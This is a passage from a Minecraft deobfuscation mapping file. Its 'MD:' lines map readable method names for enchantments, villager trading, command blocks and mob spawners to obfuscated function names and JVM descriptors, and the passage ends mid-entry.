net/minecraft/enchantment/Enchantment/func_77316_c (I)Ljava/lang/String; +MD: net/minecraft/enchantment/Enchantment/getMinLevel ()I net/minecraft/enchantment/Enchantment/func_77319_d ()I +MD: net/minecraft/enchantment/EnumEnchantmentType/canEnchantItem (Lnet/minecraft/item/Item;)Z net/minecraft/enchantment/EnumEnchantmentType/func_77557_a (Lnet/minecraft/item/Item;)Z +MD: net/minecraft/enchantment/EnumEnchantmentType/valueOf (Ljava/lang/String;)Lnet/minecraft/enchantment/EnumEnchantmentType; net/minecraft/enchantment/EnumEnchantmentType/valueOf (Ljava/lang/String;)Lnet/minecraft/enchantment/EnumEnchantmentType; +MD: net/minecraft/enchantment/EnumEnchantmentType/values ()[Lnet/minecraft/enchantment/EnumEnchantmentType; net/minecraft/enchantment/EnumEnchantmentType/values ()[Lnet/minecraft/enchantment/EnumEnchantmentType; +MD: net/minecraft/enchantment/EnchantmentHelper$DamageIterator/calculateModifier (Lnet/minecraft/enchantment/Enchantment;I)V net/minecraft/enchantment/EnchantmentHelper$DamageIterator/func_77493_a (Lnet/minecraft/enchantment/Enchantment;I)V +MD: net/minecraft/enchantment/EnchantmentHelper$HurtIterator/calculateModifier (Lnet/minecraft/enchantment/Enchantment;I)V net/minecraft/enchantment/EnchantmentHelper$HurtIterator/func_77493_a (Lnet/minecraft/enchantment/Enchantment;I)V +MD: net/minecraft/enchantment/EnchantmentHelper$IModifier/calculateModifier (Lnet/minecraft/enchantment/Enchantment;I)V net/minecraft/enchantment/EnchantmentHelper$IModifier/func_77493_a (Lnet/minecraft/enchantment/Enchantment;I)V +MD: net/minecraft/enchantment/EnchantmentHelper$ModifierLiving/calculateModifier (Lnet/minecraft/enchantment/Enchantment;I)V net/minecraft/enchantment/EnchantmentHelper$ModifierLiving/func_77493_a (Lnet/minecraft/enchantment/Enchantment;I)V +MD: net/minecraft/enchantment/EnchantmentHelper$ModifierDamage/calculateModifier (Lnet/minecraft/enchantment/Enchantment;I)V net/minecraft/enchantment/EnchantmentHelper$ModifierDamage/func_77493_a (Lnet/minecraft/enchantment/Enchantment;I)V +MD: net/minecraft/enchantment/EnchantmentHelper/getEnchantmentLevel (ILnet/minecraft/item/ItemStack;)I net/minecraft/enchantment/EnchantmentHelper/func_77506_a (ILnet/minecraft/item/ItemStack;)I +MD: net/minecraft/enchantment/EnchantmentHelper/getMaxEnchantmentLevel (I[Lnet/minecraft/item/ItemStack;)I net/minecraft/enchantment/EnchantmentHelper/func_77511_a (I[Lnet/minecraft/item/ItemStack;)I +MD: net/minecraft/enchantment/EnchantmentHelper/getEnchantedItem (Lnet/minecraft/enchantment/Enchantment;Lnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/item/ItemStack; net/minecraft/enchantment/EnchantmentHelper/func_92099_a (Lnet/minecraft/enchantment/Enchantment;Lnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/enchantment/EnchantmentHelper/applyEnchantmentModifier (Lnet/minecraft/enchantment/EnchantmentHelper$IModifier;Lnet/minecraft/item/ItemStack;)V net/minecraft/enchantment/EnchantmentHelper/func_77518_a (Lnet/minecraft/enchantment/EnchantmentHelper$IModifier;Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/enchantment/EnchantmentHelper/applyEnchantmentModifierArray (Lnet/minecraft/enchantment/EnchantmentHelper$IModifier;[Lnet/minecraft/item/ItemStack;)V net/minecraft/enchantment/EnchantmentHelper/func_77516_a (Lnet/minecraft/enchantment/EnchantmentHelper$IModifier;[Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/enchantment/EnchantmentHelper/setEnchantments (Ljava/util/Map;Lnet/minecraft/item/ItemStack;)V net/minecraft/enchantment/EnchantmentHelper/func_82782_a (Ljava/util/Map;Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/enchantment/EnchantmentHelper/calcItemStackEnchantability (Ljava/util/Random;IILnet/minecraft/item/ItemStack;)I net/minecraft/enchantment/EnchantmentHelper/func_77514_a (Ljava/util/Random;IILnet/minecraft/item/ItemStack;)I +MD: net/minecraft/enchantment/EnchantmentHelper/addRandomEnchantment (Ljava/util/Random;Lnet/minecraft/item/ItemStack;I)Lnet/minecraft/item/ItemStack; net/minecraft/enchantment/EnchantmentHelper/func_77504_a (Ljava/util/Random;Lnet/minecraft/item/ItemStack;I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/enchantment/EnchantmentHelper/getRespiration (Lnet/minecraft/entity/Entity;)I net/minecraft/enchantment/EnchantmentHelper/func_180319_a (Lnet/minecraft/entity/Entity;)I +MD: net/minecraft/enchantment/EnchantmentHelper/getKnockbackModifier (Lnet/minecraft/entity/EntityLivingBase;)I net/minecraft/enchantment/EnchantmentHelper/func_77501_a (Lnet/minecraft/entity/EntityLivingBase;)I +MD: net/minecraft/enchantment/EnchantmentHelper/applyThornEnchantments (Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/entity/Entity;)V net/minecraft/enchantment/EnchantmentHelper/func_151384_a (Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/enchantment/EnchantmentHelper/getEnchantments (Lnet/minecraft/item/ItemStack;)Ljava/util/Map; net/minecraft/enchantment/EnchantmentHelper/func_82781_a (Lnet/minecraft/item/ItemStack;)Ljava/util/Map; +MD: net/minecraft/enchantment/EnchantmentHelper/getModifierForCreature (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/EnumCreatureAttribute;)F net/minecraft/enchantment/EnchantmentHelper/func_152377_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/EnumCreatureAttribute;)F +MD: net/minecraft/enchantment/EnchantmentHelper/getEnchantmentModifierDamage ([Lnet/minecraft/item/ItemStack;Lnet/minecraft/util/DamageSource;)I net/minecraft/enchantment/EnchantmentHelper/func_77508_a ([Lnet/minecraft/item/ItemStack;Lnet/minecraft/util/DamageSource;)I +MD: net/minecraft/enchantment/EnchantmentHelper/mapEnchantmentData (ILnet/minecraft/item/ItemStack;)Ljava/util/Map; net/minecraft/enchantment/EnchantmentHelper/func_77505_b (ILnet/minecraft/item/ItemStack;)Ljava/util/Map; +MD: net/minecraft/enchantment/EnchantmentHelper/buildEnchantmentList (Ljava/util/Random;Lnet/minecraft/item/ItemStack;I)Ljava/util/List; net/minecraft/enchantment/EnchantmentHelper/func_77513_b (Ljava/util/Random;Lnet/minecraft/item/ItemStack;I)Ljava/util/List; +MD: net/minecraft/enchantment/EnchantmentHelper/getDepthStriderModifier (Lnet/minecraft/entity/Entity;)I net/minecraft/enchantment/EnchantmentHelper/func_180318_b (Lnet/minecraft/entity/Entity;)I +MD: net/minecraft/enchantment/EnchantmentHelper/getFireAspectModifier (Lnet/minecraft/entity/EntityLivingBase;)I net/minecraft/enchantment/EnchantmentHelper/func_90036_a (Lnet/minecraft/entity/EntityLivingBase;)I +MD: net/minecraft/enchantment/EnchantmentHelper/applyArthropodEnchantments (Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/entity/Entity;)V net/minecraft/enchantment/EnchantmentHelper/func_151385_b (Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/enchantment/EnchantmentHelper/getEfficiencyModifier (Lnet/minecraft/entity/EntityLivingBase;)I net/minecraft/enchantment/EnchantmentHelper/func_77509_b (Lnet/minecraft/entity/EntityLivingBase;)I +MD: net/minecraft/enchantment/EnchantmentHelper/getSilkTouchModifier (Lnet/minecraft/entity/EntityLivingBase;)Z net/minecraft/enchantment/EnchantmentHelper/func_77502_d (Lnet/minecraft/entity/EntityLivingBase;)Z +MD: net/minecraft/enchantment/EnchantmentHelper/getFortuneModifier (Lnet/minecraft/entity/EntityLivingBase;)I net/minecraft/enchantment/EnchantmentHelper/func_77517_e (Lnet/minecraft/entity/EntityLivingBase;)I +MD: net/minecraft/enchantment/EnchantmentHelper/getLuckOfSeaModifier (Lnet/minecraft/entity/EntityLivingBase;)I net/minecraft/enchantment/EnchantmentHelper/func_151386_g (Lnet/minecraft/entity/EntityLivingBase;)I +MD: net/minecraft/enchantment/EnchantmentHelper/getLureModifier (Lnet/minecraft/entity/EntityLivingBase;)I net/minecraft/enchantment/EnchantmentHelper/func_151387_h (Lnet/minecraft/entity/EntityLivingBase;)I +MD: net/minecraft/enchantment/EnchantmentHelper/getLootingModifier (Lnet/minecraft/entity/EntityLivingBase;)I net/minecraft/enchantment/EnchantmentHelper/func_77519_f (Lnet/minecraft/entity/EntityLivingBase;)I +MD: net/minecraft/enchantment/EnchantmentHelper/getAquaAffinityModifier (Lnet/minecraft/entity/EntityLivingBase;)Z net/minecraft/enchantment/EnchantmentHelper/func_77510_g (Lnet/minecraft/entity/EntityLivingBase;)Z +MD: net/minecraft/enchantment/EnchantmentFireAspect/getMinEnchantability (I)I net/minecraft/enchantment/EnchantmentFireAspect/func_77321_a (I)I +MD: net/minecraft/enchantment/EnchantmentFireAspect/getMaxLevel ()I net/minecraft/enchantment/EnchantmentFireAspect/func_77325_b ()I +MD: net/minecraft/enchantment/EnchantmentFireAspect/getMaxEnchantability (I)I net/minecraft/enchantment/EnchantmentFireAspect/func_77317_b (I)I +MD: net/minecraft/enchantment/EnchantmentFishingSpeed/getMinEnchantability (I)I net/minecraft/enchantment/EnchantmentFishingSpeed/func_77321_a (I)I +MD: net/minecraft/enchantment/EnchantmentFishingSpeed/getMaxLevel ()I net/minecraft/enchantment/EnchantmentFishingSpeed/func_77325_b ()I +MD: net/minecraft/enchantment/EnchantmentFishingSpeed/getMaxEnchantability (I)I net/minecraft/enchantment/EnchantmentFishingSpeed/func_77317_b (I)I +MD: net/minecraft/enchantment/EnchantmentKnockback/getMinEnchantability (I)I net/minecraft/enchantment/EnchantmentKnockback/func_77321_a (I)I +MD: net/minecraft/enchantment/EnchantmentKnockback/getMaxLevel ()I net/minecraft/enchantment/EnchantmentKnockback/func_77325_b ()I +MD: net/minecraft/enchantment/EnchantmentKnockback/getMaxEnchantability (I)I net/minecraft/enchantment/EnchantmentKnockback/func_77317_b (I)I +MD: net/minecraft/enchantment/EnchantmentLootBonus/getMinEnchantability (I)I net/minecraft/enchantment/EnchantmentLootBonus/func_77321_a (I)I +MD: net/minecraft/enchantment/EnchantmentLootBonus/canApplyTogether (Lnet/minecraft/enchantment/Enchantment;)Z net/minecraft/enchantment/EnchantmentLootBonus/func_77326_a (Lnet/minecraft/enchantment/Enchantment;)Z +MD: net/minecraft/enchantment/EnchantmentLootBonus/getMaxLevel ()I net/minecraft/enchantment/EnchantmentLootBonus/func_77325_b ()I +MD: net/minecraft/enchantment/EnchantmentLootBonus/getMaxEnchantability (I)I net/minecraft/enchantment/EnchantmentLootBonus/func_77317_b (I)I +MD: net/minecraft/enchantment/EnchantmentOxygen/getMinEnchantability (I)I net/minecraft/enchantment/EnchantmentOxygen/func_77321_a (I)I +MD: net/minecraft/enchantment/EnchantmentOxygen/getMaxLevel ()I net/minecraft/enchantment/EnchantmentOxygen/func_77325_b ()I +MD: net/minecraft/enchantment/EnchantmentOxygen/getMaxEnchantability (I)I net/minecraft/enchantment/EnchantmentOxygen/func_77317_b (I)I +MD: net/minecraft/enchantment/EnchantmentProtection/getName ()Ljava/lang/String; net/minecraft/enchantment/EnchantmentProtection/func_77320_a ()Ljava/lang/String; +MD: net/minecraft/enchantment/EnchantmentProtection/getMinEnchantability (I)I net/minecraft/enchantment/EnchantmentProtection/func_77321_a (I)I +MD: net/minecraft/enchantment/EnchantmentProtection/calcModifierDamage (ILnet/minecraft/util/DamageSource;)I net/minecraft/enchantment/EnchantmentProtection/func_77318_a (ILnet/minecraft/util/DamageSource;)I +MD: net/minecraft/enchantment/EnchantmentProtection/canApplyTogether (Lnet/minecraft/enchantment/Enchantment;)Z net/minecraft/enchantment/EnchantmentProtection/func_77326_a (Lnet/minecraft/enchantment/Enchantment;)Z +MD: net/minecraft/enchantment/EnchantmentProtection/func_92092_a (Lnet/minecraft/entity/Entity;D)D net/minecraft/enchantment/EnchantmentProtection/func_92092_a (Lnet/minecraft/entity/Entity;D)D +MD: net/minecraft/enchantment/EnchantmentProtection/getFireTimeForEntity (Lnet/minecraft/entity/Entity;I)I net/minecraft/enchantment/EnchantmentProtection/func_92093_a (Lnet/minecraft/entity/Entity;I)I +MD: net/minecraft/enchantment/EnchantmentProtection/getMaxLevel ()I net/minecraft/enchantment/EnchantmentProtection/func_77325_b ()I +MD: net/minecraft/enchantment/EnchantmentProtection/getMaxEnchantability (I)I net/minecraft/enchantment/EnchantmentProtection/func_77317_b (I)I +MD: net/minecraft/enchantment/EnchantmentThorns/getMinEnchantability (I)I net/minecraft/enchantment/EnchantmentThorns/func_77321_a (I)I +MD: net/minecraft/enchantment/EnchantmentThorns/func_92094_a (ILjava/util/Random;)Z net/minecraft/enchantment/EnchantmentThorns/func_92094_a (ILjava/util/Random;)Z +MD: net/minecraft/enchantment/EnchantmentThorns/canApply (Lnet/minecraft/item/ItemStack;)Z net/minecraft/enchantment/EnchantmentThorns/func_92089_a (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/enchantment/EnchantmentThorns/getMaxLevel ()I net/minecraft/enchantment/EnchantmentThorns/func_77325_b ()I +MD: net/minecraft/enchantment/EnchantmentThorns/getMaxEnchantability (I)I net/minecraft/enchantment/EnchantmentThorns/func_77317_b (I)I +MD: net/minecraft/enchantment/EnchantmentThorns/func_92095_b (ILjava/util/Random;)I net/minecraft/enchantment/EnchantmentThorns/func_92095_b (ILjava/util/Random;)I +MD: net/minecraft/enchantment/EnchantmentThorns/onUserHurt (Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/entity/Entity;I)V net/minecraft/enchantment/EnchantmentThorns/func_151367_b (Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/entity/Entity;I)V +MD: net/minecraft/enchantment/EnchantmentUntouching/getMinEnchantability (I)I net/minecraft/enchantment/EnchantmentUntouching/func_77321_a (I)I +MD: net/minecraft/enchantment/EnchantmentUntouching/canApplyTogether (Lnet/minecraft/enchantment/Enchantment;)Z net/minecraft/enchantment/EnchantmentUntouching/func_77326_a (Lnet/minecraft/enchantment/Enchantment;)Z +MD: net/minecraft/enchantment/EnchantmentUntouching/canApply (Lnet/minecraft/item/ItemStack;)Z net/minecraft/enchantment/EnchantmentUntouching/func_92089_a (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/enchantment/EnchantmentUntouching/getMaxLevel ()I net/minecraft/enchantment/EnchantmentUntouching/func_77325_b ()I +MD: net/minecraft/enchantment/EnchantmentUntouching/getMaxEnchantability (I)I net/minecraft/enchantment/EnchantmentUntouching/func_77317_b (I)I +MD: net/minecraft/enchantment/EnchantmentWaterWalker/getMinEnchantability (I)I net/minecraft/enchantment/EnchantmentWaterWalker/func_77321_a (I)I +MD: net/minecraft/enchantment/EnchantmentWaterWalker/getMaxLevel ()I net/minecraft/enchantment/EnchantmentWaterWalker/func_77325_b ()I +MD: net/minecraft/enchantment/EnchantmentWaterWalker/getMaxEnchantability (I)I net/minecraft/enchantment/EnchantmentWaterWalker/func_77317_b (I)I +MD: net/minecraft/enchantment/EnchantmentWaterWorker/getMinEnchantability (I)I net/minecraft/enchantment/EnchantmentWaterWorker/func_77321_a (I)I +MD: net/minecraft/enchantment/EnchantmentWaterWorker/getMaxLevel ()I net/minecraft/enchantment/EnchantmentWaterWorker/func_77325_b ()I +MD: net/minecraft/enchantment/EnchantmentWaterWorker/getMaxEnchantability (I)I net/minecraft/enchantment/EnchantmentWaterWorker/func_77317_b (I)I +MD: net/minecraft/entity/IMerchant/useRecipe (Lnet/minecraft/village/MerchantRecipe;)V net/minecraft/entity/IMerchant/func_70933_a (Lnet/minecraft/village/MerchantRecipe;)V +MD: net/minecraft/entity/IMerchant/setRecipes (Lnet/minecraft/village/MerchantRecipeList;)V net/minecraft/entity/IMerchant/func_70930_a (Lnet/minecraft/village/MerchantRecipeList;)V +MD: net/minecraft/entity/IMerchant/setCustomer (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/entity/IMerchant/func_70932_a_ (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/entity/IMerchant/verifySellingItem (Lnet/minecraft/item/ItemStack;)V net/minecraft/entity/IMerchant/func_110297_a_ (Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/entity/IMerchant/getRecipes (Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/village/MerchantRecipeList; net/minecraft/entity/IMerchant/func_70934_b (Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/village/MerchantRecipeList; +MD: net/minecraft/entity/IMerchant/getDisplayName ()Lnet/minecraft/util/IChatComponent; net/minecraft/entity/IMerchant/func_145748_c_ ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/entity/IMerchant/getCustomer ()Lnet/minecraft/entity/player/EntityPlayer; net/minecraft/entity/IMerchant/func_70931_l_ ()Lnet/minecraft/entity/player/EntityPlayer; +MD: net/minecraft/village/MerchantRecipe/getItemToBuy ()Lnet/minecraft/item/ItemStack; net/minecraft/village/MerchantRecipe/func_77394_a ()Lnet/minecraft/item/ItemStack; +MD: net/minecraft/village/MerchantRecipe/increaseMaxTradeUses (I)V net/minecraft/village/MerchantRecipe/func_82783_a (I)V +MD: net/minecraft/village/MerchantRecipe/readFromTags (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/village/MerchantRecipe/func_77390_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/village/MerchantRecipe/getSecondItemToBuy ()Lnet/minecraft/item/ItemStack; net/minecraft/village/MerchantRecipe/func_77396_b ()Lnet/minecraft/item/ItemStack; +MD: net/minecraft/village/MerchantRecipe/hasSecondItemToBuy ()Z net/minecraft/village/MerchantRecipe/func_77398_c ()Z +MD: net/minecraft/village/MerchantRecipe/getItemToSell ()Lnet/minecraft/item/ItemStack; net/minecraft/village/MerchantRecipe/func_77397_d ()Lnet/minecraft/item/ItemStack; +MD: net/minecraft/village/MerchantRecipe/getToolUses ()I net/minecraft/village/MerchantRecipe/func_180321_e ()I +MD: net/minecraft/village/MerchantRecipe/getMaxTradeUses ()I net/minecraft/village/MerchantRecipe/func_180320_f ()I +MD: net/minecraft/village/MerchantRecipe/incrementToolUses ()V net/minecraft/village/MerchantRecipe/func_77399_f ()V +MD: net/minecraft/village/MerchantRecipe/isRecipeDisabled ()Z net/minecraft/village/MerchantRecipe/func_82784_g ()Z +MD: net/minecraft/village/MerchantRecipe/compensateToolUses ()V net/minecraft/village/MerchantRecipe/func_82785_h ()V +MD: net/minecraft/village/MerchantRecipe/getRewardsExp ()Z net/minecraft/village/MerchantRecipe/func_180322_j ()Z +MD: net/minecraft/village/MerchantRecipe/writeToTags ()Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/village/MerchantRecipe/func_77395_g ()Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/command/CommandExecuteAt$1/canCommandSenderUseCommand (ILjava/lang/String;)Z net/minecraft/command/CommandExecuteAt$1/func_70003_b (ILjava/lang/String;)Z +MD: net/minecraft/command/CommandExecuteAt$1/addChatMessage (Lnet/minecraft/util/IChatComponent;)V net/minecraft/command/CommandExecuteAt$1/func_145747_a (Lnet/minecraft/util/IChatComponent;)V +MD: net/minecraft/command/CommandExecuteAt$1/setCommandStat (Lnet/minecraft/command/CommandResultStats$Type;I)V net/minecraft/command/CommandExecuteAt$1/func_174794_a (Lnet/minecraft/command/CommandResultStats$Type;I)V +MD: net/minecraft/command/CommandExecuteAt$1/getPosition ()Lnet/minecraft/util/BlockPos; net/minecraft/command/CommandExecuteAt$1/func_180425_c ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/command/CommandExecuteAt$1/getPositionVector ()Lnet/minecraft/util/Vec3; net/minecraft/command/CommandExecuteAt$1/func_174791_d ()Lnet/minecraft/util/Vec3; +MD: net/minecraft/command/CommandExecuteAt$1/getEntityWorld ()Lnet/minecraft/world/World; net/minecraft/command/CommandExecuteAt$1/func_130014_f_ ()Lnet/minecraft/world/World; +MD: net/minecraft/command/CommandExecuteAt$1/getName ()Ljava/lang/String; net/minecraft/command/CommandExecuteAt$1/func_70005_c_ ()Ljava/lang/String; +MD: net/minecraft/command/CommandExecuteAt$1/getCommandSenderEntity ()Lnet/minecraft/entity/Entity; net/minecraft/command/CommandExecuteAt$1/func_174793_f ()Lnet/minecraft/entity/Entity; +MD: net/minecraft/command/CommandExecuteAt$1/getDisplayName ()Lnet/minecraft/util/IChatComponent; net/minecraft/command/CommandExecuteAt$1/func_145748_c_ ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/command/CommandExecuteAt$1/sendCommandFeedback ()Z net/minecraft/command/CommandExecuteAt$1/func_174792_t_ ()Z +MD: net/minecraft/command/CommandExecuteAt/getRequiredPermissionLevel ()I net/minecraft/command/CommandExecuteAt/func_82362_a ()I +MD: net/minecraft/command/CommandExecuteAt/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/CommandExecuteAt/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/CommandExecuteAt/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/CommandExecuteAt/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/CommandExecuteAt/isUsernameIndex ([Ljava/lang/String;I)Z net/minecraft/command/CommandExecuteAt/func_82358_a ([Ljava/lang/String;I)Z +MD: net/minecraft/command/CommandExecuteAt/getCommandName ()Ljava/lang/String; net/minecraft/command/CommandExecuteAt/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/CommandExecuteAt/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/CommandExecuteAt/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/village/MerchantRecipeList/getRecipiesAsTags ()Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/village/MerchantRecipeList/func_77202_a ()Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/village/MerchantRecipeList/readRecipiesFromTags (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/village/MerchantRecipeList/func_77201_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/village/MerchantRecipeList/writeToBuf (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/village/MerchantRecipeList/func_151391_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/village/MerchantRecipeList/func_181078_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/item/ItemStack;)Z net/minecraft/village/MerchantRecipeList/func_181078_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/village/MerchantRecipeList/canRecipeBeUsed (Lnet/minecraft/item/ItemStack;Lnet/minecraft/item/ItemStack;I)Lnet/minecraft/village/MerchantRecipe; net/minecraft/village/MerchantRecipeList/func_77203_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/item/ItemStack;I)Lnet/minecraft/village/MerchantRecipe; +MD: net/minecraft/village/MerchantRecipeList/readFromBuf (Lnet/minecraft/network/PacketBuffer;)Lnet/minecraft/village/MerchantRecipeList; net/minecraft/village/MerchantRecipeList/func_151390_b (Lnet/minecraft/network/PacketBuffer;)Lnet/minecraft/village/MerchantRecipeList; +MD: net/minecraft/command/server/CommandBlockLogic$1/call ()Ljava/lang/String; net/minecraft/command/server/CommandBlockLogic$1/call ()Ljava/lang/String; +MD: net/minecraft/command/server/CommandBlockLogic$1/call ()Ljava/lang/Object; net/minecraft/command/server/CommandBlockLogic$1/call ()Ljava/lang/Object; +MD: net/minecraft/command/server/CommandBlockLogic$2/call ()Ljava/lang/String; net/minecraft/command/server/CommandBlockLogic$2/call ()Ljava/lang/String; +MD: net/minecraft/command/server/CommandBlockLogic$2/call ()Ljava/lang/Object; net/minecraft/command/server/CommandBlockLogic$2/call ()Ljava/lang/Object; +MD: net/minecraft/command/server/CommandBlockLogic/canCommandSenderUseCommand (ILjava/lang/String;)Z net/minecraft/command/server/CommandBlockLogic/func_70003_b (ILjava/lang/String;)Z +MD: net/minecraft/command/server/CommandBlockLogic/trigger (Lnet/minecraft/world/World;)V net/minecraft/command/server/CommandBlockLogic/func_145755_a (Lnet/minecraft/world/World;)V +MD: net/minecraft/command/server/CommandBlockLogic/writeDataToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/command/server/CommandBlockLogic/func_145758_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/command/server/CommandBlockLogic/addChatMessage (Lnet/minecraft/util/IChatComponent;)V net/minecraft/command/server/CommandBlockLogic/func_145747_a (Lnet/minecraft/util/IChatComponent;)V +MD: net/minecraft/command/server/CommandBlockLogic/func_145757_a (Lio/netty/buffer/ByteBuf;)V net/minecraft/command/server/CommandBlockLogic/func_145757_a (Lio/netty/buffer/ByteBuf;)V +MD: net/minecraft/command/server/CommandBlockLogic/setCommand (Ljava/lang/String;)V net/minecraft/command/server/CommandBlockLogic/func_145752_a (Ljava/lang/String;)V +MD: net/minecraft/command/server/CommandBlockLogic/setCommandStat (Lnet/minecraft/command/CommandResultStats$Type;I)V net/minecraft/command/server/CommandBlockLogic/func_174794_a (Lnet/minecraft/command/CommandResultStats$Type;I)V +MD: net/minecraft/command/server/CommandBlockLogic/tryOpenEditCommandBlock (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/command/server/CommandBlockLogic/func_175574_a (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/command/server/CommandBlockLogic/setTrackOutput (Z)V net/minecraft/command/server/CommandBlockLogic/func_175573_a (Z)V +MD: net/minecraft/command/server/CommandBlockLogic/readDataFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/command/server/CommandBlockLogic/func_145759_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/command/server/CommandBlockLogic/setLastOutput (Lnet/minecraft/util/IChatComponent;)V net/minecraft/command/server/CommandBlockLogic/func_145750_b (Lnet/minecraft/util/IChatComponent;)V +MD: net/minecraft/command/server/CommandBlockLogic/setName (Ljava/lang/String;)V net/minecraft/command/server/CommandBlockLogic/func_145754_b (Ljava/lang/String;)V +MD: net/minecraft/command/server/CommandBlockLogic/getName ()Ljava/lang/String; net/minecraft/command/server/CommandBlockLogic/func_70005_c_ ()Ljava/lang/String; +MD: net/minecraft/command/server/CommandBlockLogic/getDisplayName ()Lnet/minecraft/util/IChatComponent; net/minecraft/command/server/CommandBlockLogic/func_145748_c_ ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/command/server/CommandBlockLogic/updateCommand ()V net/minecraft/command/server/CommandBlockLogic/func_145756_e ()V +MD: net/minecraft/command/server/CommandBlockLogic/func_145751_f ()I net/minecraft/command/server/CommandBlockLogic/func_145751_f ()I +MD: net/minecraft/command/server/CommandBlockLogic/getSuccessCount ()I net/minecraft/command/server/CommandBlockLogic/func_145760_g ()I +MD: net/minecraft/command/server/CommandBlockLogic/getLastOutput ()Lnet/minecraft/util/IChatComponent; net/minecraft/command/server/CommandBlockLogic/func_145749_h ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/command/server/CommandBlockLogic/getCommand ()Ljava/lang/String; net/minecraft/command/server/CommandBlockLogic/func_145753_i ()Ljava/lang/String; +MD: net/minecraft/command/server/CommandBlockLogic/shouldTrackOutput ()Z net/minecraft/command/server/CommandBlockLogic/func_175571_m ()Z +MD: net/minecraft/command/server/CommandBlockLogic/getCommandResultStats ()Lnet/minecraft/command/CommandResultStats; net/minecraft/command/server/CommandBlockLogic/func_175572_n ()Lnet/minecraft/command/CommandResultStats; +MD: net/minecraft/command/server/CommandBlockLogic/sendCommandFeedback ()Z net/minecraft/command/server/CommandBlockLogic/func_174792_t_ ()Z +MD: net/minecraft/tileentity/MobSpawnerBaseLogic$WeightedRandomMinecart/toNBT ()Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/tileentity/MobSpawnerBaseLogic$WeightedRandomMinecart/func_98220_a ()Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/tileentity/MobSpawnerBaseLogic$WeightedRandomMinecart/access$000 (Lnet/minecraft/tileentity/MobSpawnerBaseLogic$WeightedRandomMinecart;)Ljava/lang/String; net/minecraft/tileentity/MobSpawnerBaseLogic$WeightedRandomMinecart/access$000 (Lnet/minecraft/tileentity/MobSpawnerBaseLogic$WeightedRandomMinecart;)Ljava/lang/String; +MD: net/minecraft/tileentity/MobSpawnerBaseLogic$WeightedRandomMinecart/access$100 (Lnet/minecraft/tileentity/MobSpawnerBaseLogic$WeightedRandomMinecart;)Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/tileentity/MobSpawnerBaseLogic$WeightedRandomMinecart/access$100 (Lnet/minecraft/tileentity/MobSpawnerBaseLogic$WeightedRandomMinecart;)Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/tileentity/MobSpawnerBaseLogic/getSpawnerWorld ()Lnet/minecraft/world/World; net/minecraft/tileentity/MobSpawnerBaseLogic/func_98271_a ()Lnet/minecraft/world/World; +MD: net/minecraft/tileentity/MobSpawnerBaseLogic/func_98267_a (I)V net/minecraft/tileentity/MobSpawnerBaseLogic/func_98267_a (I)V +MD: net/minecraft/tileentity/MobSpawnerBaseLogic/setRandomEntity 